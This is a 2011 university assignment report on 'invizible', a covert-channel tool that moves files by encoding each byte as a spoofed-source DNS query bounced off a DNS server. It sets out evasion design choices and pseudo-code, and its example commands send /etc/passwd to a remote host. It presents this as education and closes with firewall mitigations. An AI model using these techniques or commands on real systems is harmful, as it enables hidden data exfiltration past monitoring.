BCIT COMP 8505 covert channel file transfer assignment by Wesley Kenzie, May 2011

BCIT Computing and Information Technology COMP 8505 Special Topics in Network and Security Applications Development Due Date: May 3, 2011 Author: Arthur (Wesley) Kenzie A00242330 Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version) ______________________________________________________________________________

______________________________________________________________________________Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. of 20

This assignment reviews and builds on the covert channel “proof of concept” program covert_tcp.c designed and developed by Craig Rowland in 1996. An updated and enhanced covert channel file transfer program has been developed by the author for this assignment, and made available as an open source project at https://launchpad.net/invizible. A covert channel, as Rowland stated, is described as “any communication channel that can be exploited by a process to transfer information in a manner that violates the systems security policy”. The purpose of the invizible program, however, is not simply malicious, but to demonstrate an alternative way that a file can be transferred over a covert channel, in order to assist in educating system administrators and network security personnel on the need to protect against such possibilities. Introduction ............................................................................................ page 2 Analysis and Methodology ....................................................................... page 2 invizible pseudo-code .............................................................................. page 5 invizible options ....................................................................................... page 7 invizible test runs ..................................................................................... page 8 Summary and Conclusions ..................................................................... page 18 Appendix .................................................................................................. page 19 Credits ...................................................................................................... page 20



Introduction This assignment reviews and builds on the covert channel “proof of concept” program covert_tcp.c designed and developed by Craig Rowland in 1996. A reference to this program can be found at http://firstmonday.org/htbin/cgiwrap/bin/ojs/index.php/fm/article/view/528/449 An updated and enhanced covert channel file transfer program is developed here, and made available as an open source project at https://launchpad.net/invizible. Analysis and Methodology The “invizible” program developed for this assignment does not make use of TCP, as Rowland did, but rather UDP. More specifically, on the client/sending side, the program uses standard-format, unaltered DNS queries encapsulated in UDP packets. These DNS query packets are sent to any valid DNS server on standard port 53. In order to involve the server/receiving side, the IP header in each packet contains a spoofed source address, such address being the address of the waiting/listening server. In this way the DNS server receiving the query packet will send out a DNS reply packet to the server. The file transfer is thus performed “one-way” and “blind”, with the client not receiving any packets from the server. This design pattern was selected for the invizible program to address one of the weaknesses in Rowland’s program – namely its reliance on TCP SYN packets. These are packets sent out from a (client-side) program to initiate a connection to some sort of remote service (server-side). A necessary component of these packets is a source port from the client and a destination port on the server. These port numbers greatly expand the surface area of vulnerability to the covert operation, since they provide information on what sort of remote service is being asked for in each case. If there are a significant number of TCP SYN packets going out to not-well-known remote port 28509, for example, then someone may notice and ask why. If there are thousands – or hundreds of thousands – of TCP SYN packets exiting to a large number of random unprivileged remote ports, then again someone may notice and ask why. If these packets are exiting out to some well-known port number such as http port 80 then someone may again may notice and ask why are there so many of these? The invizible program removes this port number vulnerability by exposing only a single port number: standard DNS port 53. It also increases the “covertness” of the task by increasing the “normalness” of the methodology: DNS queries are very common. Each character in the file transferred is mapped by invizible to a DNS domain “A” record lookup. A list of popular domain names is embedded in the invizible program, and along with a “seed” number specified at start-up, is used to identify which domain name correlates to which character for each packet number. The seed number is incremented with each packet, so that the mapping of domain names is not static. A related improvement in invizible comes from the client-side source port being a randomly numbered unprivileged port number, and so is of no value to someone searching for, or



investigating, the covert operation. It will exhibit no patterns that would be distinguishable from any other source port numbers used on DNS queries. A 2nd weakness of Rowland’s program was the use of direct communications between client and server in two of his methods. TCP SYN packets were sent from the client to the server containing a single, embedded file content character in either the 16-bit IP identification field or the 32-bit TCP initial sequence number in these methods. The primary weakness inherent in these methods is the potential to identify both of the devices involved in the file transfer: both the client and server IP addresses are contained in the packets and would be available for identification purposes if the covert communication was to be discovered. By bouncing DNS queries off a valid DNS server to the destination server, this weakness is removed. The IP packets coming from the client (headed to the DNS server) contain the DNS server IP address and the destination server IP address. The IP packets coming from the DNS server (headed to the destination server) contains the same IP addresses but in reverse order. No packets ever contain the source client IP address. Rowland’s program had a 3rd very obvious weakness: timing between sent packets. Every packet was sent by covert_tcp after a one second pause, and was thus vulnerable to anyone looking for this distinctive signature. The invizible program on the other hand has a variable number of seconds between packets, randomly chosen after each packet within a range specified by the user at start-up. If the client-side program was started with the –sleepmax=9 parameter, for example, then random delays between 0 and 9 seconds would be inserted between each sent packet. The program supports maximum delays of up to 3600 seconds between packets, and also allows very fast file transfers (with no inserted delays) by way of this parameter being specified as –sleepmax=0. A 4th weakness of Rowland’s proof of concept was its lack of ability to communicate the start of a file transfer, and its failure to tell the server the size of the incoming file. The invizible program addresses both of these issues by having a specific trigger sent by the client to advise the server that the file transfer was starting, and how many bytes should be expected. The start trigger is not static either, with the program needing to be started with matching –key= parameter values of any contiguous character string. Combined with matching –seed= parameter values of any numeric value between 0 and 255, the file transfer is begun with a DNS query of key.domain.extension. With –seed=0 and –key=milliways, for example, the first DNS query would be for milliways.google.com. 5th on the list of weaknesses is Rowland’s dependence on firewall settings on the server to gain access to incoming packets. Many firewalls are configured to limit access to most ports, but the invizible program eliminates this dependency by using the pcap library to filter and read incoming packets, rather than using sockets and ports. The pcap library allows invizible to read and process the same packets that are read and processed by the server’s own firewall. Rowland’s covert_tcp only had access to packets after the server’s firewall had processed them. A final weakness identified in Rowland’s program was its potentially high CPU utilization on the server. Every packet received by the server was being processed as it was received on a raw socket, and this socket was opened and then closed after receiving each packet! On the client-side, this same technique was used – opening and closing a raw socket for every single packet -



though with one-second pauses between each packet it would not have much of an impact on CPU utilization. On the server, however, this was potentially a serious problem given that the program should be run on as busy a server as possible in order to better hide its activity. Every packet arriving at the server was thus being read and processed, and it is quite possible that between closing the raw socket and opening it again there would eventually be packets that would be missed. The invizible program in this assignment opens a single raw socket on the client-side for sending and leaves it open until the file transfer is completed. On the server, no sockets are used, and the pcap library is used to automatically filter out any arriving packets that are not coming from port 53 on the designated DNS server. This is far more efficient, and much less of a drain on CPU utilization for a busy server. It should be mentioned that two additional weakness in Rowland’s program have not been addressed for this assignment. Rowland’s third method of bouncing TCP SYN packets off an intermediate server by spoofing the source address of such packets will be unusable (unsuccessful) in environments where a firewall exists - through which the client’s packets must be sent – that is configured to drop outgoing packets that have an external (spoofed) source IP address. This limitation also exists in the invizible program, with the consequence being that file transfers can only be done between devices on the same subnet, internal to such a restrictive firewall. System administrators and network security personnel would be well advised to ensure all firewalls under their control are setup in this way, and that the detection of any such packets is clearly logged and monitored. Secondly, on the server side, the invizible program makes use of the pcap library to bypass any firewall settings on the server, which is clearly an improvement. However, this does not address the possibility that firewalls not on the server – through which incoming packets must pass – are somehow restricting packets. If such firewalls are stateful and keep track of which UDP DNS queries have been sent, in order to match incoming UDP DNS replies to them, then there may be no way to get packets through to the server from the client by the invizible program in its current implementation. An important part of the invizible program design that should be mentioned is the embedding and customization of the “hping” open source program (http://hping.org) and parts of the “pcap” library (http://www.tcpdump.org). Hping was customized to allow udp packet data payloads to be constructed from a preloaded “datapayload” global variable, in much the same way the program already provides support for using the contents of a specified file to construct a data payload. The pcap library was customized in 2 ways. First, pcap_lookupdevspec() was customized to allow a specified interface to be used rather than simply using the first interface found. This specified interface can be identified by way of the –if= command-line parameter in invizible for the server side. Secondly, handle_IP() was extensively customized to process each received packet: this is where the DNS reply packets are processed and where the writing of the file on the server is done.



The libev event library was also embedded in invizible, but was not used. Details on libev can be found at http://software.schmorp.de/pkg/libev.html invizible pseudo-code Define prototypes; Define global variables; Main() function { Initialize parameters and set defaults (else fail); Validate command-line parameters (else fail); Run(); Clean up parameters; Exit; } Run() function { Define local variables; Set euid to root; (else fail); Forgepacket() function; Clean up global variables; Exit; } Forgepacket() function { Define local variables; Get system time using gettimeofday(); Set hping-related global variables; Resolve IP addresses; (else fail); Determine “trigger” hostname; (to indicate start of file transfer) If (running as client) { Determine which interface to use for sending; (else fail); Open file to be transferred; (else fail); For (each char read from file) { Calculate x random sleep seconds; If (sleep seconds > 0) { Sleep for x seconds; } Construct packet IP and UDP header values; Calculate DNS lookup hostname using get_lookuphost(); // Original covert_tcp code for TCP packets remains intact // but is not used // If first UDP packet being sent then use “trigger” hostname // and embed first char of file in UDP header trans ID field // If second UDP packet being sent then // embed file size in UDP header trans ID field // If third or more UDP packet being sent then // embed encoded “seed” value in UDP header trans ID field Validate DNS hostname using get_lookupchar(); (else fail); Construct packet DNS data payload; If (raw socket not yet opened) { Open raw socket; (else fail); Open_pcap() to ensure is available; (else fail); }



Calculate packet checksums; Send_udp(); // using embedded hping Count packets sent; Increment file transfer count; Display progress message if applicable; } Close file; // transfer now complete Close raw socket; } else if (running as server) { Create new file to be received; (else fail); Determine which interface to use for receiving; (else fail); Get local address and subnet mask using pcap_lookupnet(); (else fail); Pcap_open_live(); (else fail); Calculate packet filter; Pcap_compile(); (else fail); Pcap_setfilter(); (else fail); // now wait for incoming Pcap_loop() with callback to pcap_packet_callback(); Close (file); // transfer aborted or complete } } Pcap_packet_callback() function { // this will only be called for packets matching // the defined “filter” If ETHERTYPE_IP packet { Process packet with handle_IP(); } } Handle_ip() function { Define local variables; If (packet is UDP protocol) { Decompose DNS query fields; // actual DNS reply data is ignored Determine “trigger” hostname; (to indicate start of file transfer) If (DNS query does not match trigger) { // ignore it } else { Set “file transfer started” global flag; Get first character of file from UDP header trans ID field; } If (file transfer has started) { If (second packet received) { Get file size from UDP header trans ID field; } Increment packet count; Increment file received count; Write file character to file; (else fail); If (all file received) { Set “file transfer finished” global flag; } } } }



invizible options Command line options and defaults for the invizible program are as follows: --client or –mode=client (to indicate file to be transferred from this machine) --server or –mode=server (to indicate file is to be received on this machine) --verbose (to indicate additional detailed messages are to be displayed) --file=xxxxx (on client indicates file to be transferred; on server indicates file to be created) --seed=nnn (must match on both client and server; number between 0 and 255) --key=xyz (must match on both client and server; any alphanumeric string) --sleepmax=nnn (on client only, to indicate max number of seconds to wait between packets) --ipv4=0 or =1 (to indicate whether to use IPv4 addressing: defaults to 1) --ipv6=0 or =1 (to indicate whether to use IPv6 addressing: defaults to 0; not fully implemented) --udp=0 or =1 (to indicate whether to use udp: defaults to 1) --tcp=0 or =1 (to indicate whether to use tcp: defaults to 0; if 1 then activates original covert_tcp code; not fully tested at this time) --icmp=0 or =1 (to indicate whether to use icmp: defaults to 0; not fully implemented) --socks=0 or =1 (to indicate whether to use socks: defaults to 0; not fully implemented) --dns=xyz (must match on both client and server; specifies IP address of DNS server to be used; on the client this DNS server is sent queries; on the server this DNS server is expected to be sending DNS replies: defaults to 208.67.222.222 OpenDNS server) --server=xyz (on client only, must specify IP address of server to receive file transfer; server side of program must be running on this IP address in order to receive file transfer) --remove=0 or =1 (on client only, to indicate whether to remove file from disk after transfer is complete: defaults to 0) --replace=0 or =1 (on server only, to indicate whether an existing file on disk is to be replaced) --dnsipv4=xyz (same as –dns= option if need to use both IPv4 and IPv6 addressing) --dnsipv6=xyz (same as –dns= option if need to use both IPv4 and IPv6 addressing) --serveripv4=xyz (same as –server= option if need to use both IPv4 and IPv6 addressing) --serveripv6=xyz (same as –server= option if need to use both IPv4 and IPv6 addressing) Example 1: ./invizible –client –file=/etc/passwd –server=212.117.54.128 –seed=19 –key=ns3 This would be run along with the following on the machine at IP address 212.117.54.128: ./invizible –server –file=/tmp/passwd.mine –seed=19 –key=ns3 Example 2: ./invizible –client –file=/etc/passwd –server=192.168.0.22 –dns=192.168.0.1 –seed=140 –key=milliways This would be run along with the following on the machine at IP address 192.168.0.22: ./invizible –server –file=/tmp/passwd.mine –dns=192.168.0.1 –seed=140 –key=milliways



invizible test runs An initial client test run was done on May 3, 2011 as follows. Note the max pause/sleep between packets of 1 second. The file transferred was the /etc/hosts file, bounced off the DNS server at the router address of 192.168.0.1 to another machine on the local subnet at 192.168.0.199.

The first portion of the client.log file is shown below:



The last portion of the client.log file is shown below:

The actual contents of the transferred file are shown below:



A second test run was done as follows, with a max 5 second pause between packets. This also shows the local IP address of 192.168.0.193 as per ifconfig:

The first portion of the client_sleepmax5.log file is shown below:



The last portion of the client_sleepmax5.log file is shown below:



A 3rd test run was done as follows, with a –key=bigbadboy and a max 3 second pause between packets. This test run was captured by Wireshark as well.

The initial portion of the Wireshark packet capture is shown below. This is recorded in the accompanying “wireshark_bigbadboy.pcap” file. Note the first “trigger” hostname lookup is “bigbadboy.google.com” as expected, with a –seed=0 value.



A 4th test was run as follows:

The server side of this test was captured as follows:

The beginning portion of the client_test4.log file is shown below:



The beginning portion of the server_test.log file is shown below:

Note in the server_test4.log file show above the 3rd line showing seed=5, key=test4. Also note the 11th line showing “dns query received for test4.facebook.com (1 of 0)”. This is the trigger hostname. The “test4” portion of the domain name is the unique key, and “facebook.com” is associated with seed=5. All instances of the program that have seed=5 would start with a lookup on facebook.com, as can be confirmed by looking at the enclosed source code listing for invizible.c in the set_hostnames() function, where google is the first hostname listed (seed=0) and facebook is the sixth hostname listed (seed=5). Note also that in the trigger DNS query is shown “(1 of 0)”. This is indicative that the file size is not sent from the client to the server until the 2nd packet. The 2nd packet shows as “(2 of 1029)” confirming this. (However, the 1029 is incorrect, and obviously should show as 254. This is an anomaly in the program that has not yet been addressed, due simply to the time constraints for this project.)



The last portion of the client_test4.log file is shown below:



The last portion of the server_test4.log file is shown below:

There are clearly some unresolved issue on the server/receiving side that time constraints for this assignment did not allow to be addressed. As mentioned previously, the file size for the /etc/hosts file was 254 bytes, not 1029. But in addition, some of the dns queries received are showing as “unrecognized”. And the received file “recvhost.txt” is unfortunately corrupt, as shown below:



The first portion of the Wireshark packet capture (recorded in the “Wireshark_test4.pcap” file) on test4 is shown below. Note that packet 86 shows the “trigger” hostname DNS query of “test4.facebook.com” at 12:54:49.13859. This corresponds to the first packet shown in the “client_test4.log” file shown previously. Included in the rest of the Wireshark packet capture are the remaining DNS queries sent out from the client. There was no corresponding Wireshark packet capture done on the server side of this test.



Summary and Conclusions Rowland’s 1996 covert_tcp proof of concept program for implementing covert channels for file transfer has been improved and successfully modified to use an alternative covert channel via UDP DNS query packets. There are some remaining issues to be addressed in the resulting program - which has been made into an open source project at https://launchpad.net/invizible - but all issues are believed to be addressable with additional time. There were a number of weaknesses in Rowland’s program that have been addressed with this assignment. Exclusive use of TCP SYN packets has been replaced by UDP DNS query packets. Use of various source and destination ports has been replaced by use of only port 53 for DNS queries and replies. Dependence on firewall settings on the server to gain access to ports has been eliminated through use of pcap library functions. Direct communication between server and client has been eliminated, using any DNS server as an intermediary “bounce” server. Timing between transmitted packets has been made random within a user-definable range of up to 1 hour, rather than always having a duration of one second. And finally, the potential for high CPU utilization rates – and the resulting consequence of dropped/missed packets – on a high-traffic server has been reduced by using the pcap library so that only a small subset of incoming packets are required to be processed. The invizible program created for this assignment is believed to be a useful tool for system administrators and network security personnel to study to better understand some of the risks they must address in protecting the computer systems under their care. Two things that can be done to mitigate these risks are to ensure that all firewalls implement rules to drop and log outgoing packets that have spoofed IP addresses, and to ensure that stand-alone, stateful firewalls are implemented to match incoming DNS replies with originating DNS queries. Complete source code, log files, and Wireshark packet capture files are included on the accompanying DVD for confirmation of design work and evidence of test results.



Appendix The following files are included on the accompanying DVD: / root directory: COMP8505_Assignment1_final.docx (this file) COMP8505_Assignment1_final.doc (doc version of this file) COMP8505_Assignment1_final.pdf (pdf version of this file) Ass1-11.pdf (copy of assignment description) *.log (various log files from client and server testing) *.pcap (various Wireshark packet capture files) invizible (32-bit Linux executable) covert_tcp.c (original Rowland program) /src/ directory: common.h (c header file for common functions) conf.h (c header file for config file functions) hpingwrap.h (c header file for embedded hping) invizible.h (c header file for invizible functions) libevwrap.h (c header file for embedded libev) mypcap.h (c header file for customized pcap functions) parms.h (c header file for parameter functions) common.c (c source file for common functions) conf.c (c source file for config file functions) hpingwrap.c (c source file for embedded hping) invizible.c (c source file for invizible functions) libevwrap.c (c source file for embedded libev) main.c (c main source file) mypcap.c (c source file for customized pcap functions) parms.c (c source file for parameter functions) LICENSE (license and copyright statements) TODO (list of outstanding and planned items) /src/hping directory: (embedded hping headers and source) /src/libev directory: (embedded libev headers and source) /src/pcap directory: (embedded subset of libpcap headers and source)



Credits Linux is a registered trademark of Linus Torvalds. Covert_TCP 1.0 - Covert channel file transfer for Linux Written by Craig H. Rowland ([email protected]) Copyright 1996 Craig H. Rowland (11-15-96) libev Copyright (c) 2007,2008,2009 Marc Alexander Lehmann bind Copyright (c) 2004-2011 Internet Systems Consortium, Inc. ("ISC") and Copyright (c) 1996-2003 Internet Software Consortium. and Portions Copyright (c) 1996-2001 Nominum, Inc. hping3 Copyright (c) 1999 by Salvatore Sanfilippo <[email protected]> eventdns Version: 0.1b developed by Adam Langley <[email protected]> libevent evdns Copyright (c) 2000-2007 Niels Provos <[email protected]> and Copyright (c) 2007-2010 Niels Provos and Nick Mathewson libpcap examples Copyright (c) Martin Casado & Richard Stevens and Aman Abdulla: April 23, 2006

BCIT COMP 8505 covert channel file transfer assignment by Wesley Kenzie, May 2011

Documents

Transcript of BCIT COMP 8505 covert channel file transfer assignment by Wesley Kenzie, May 2011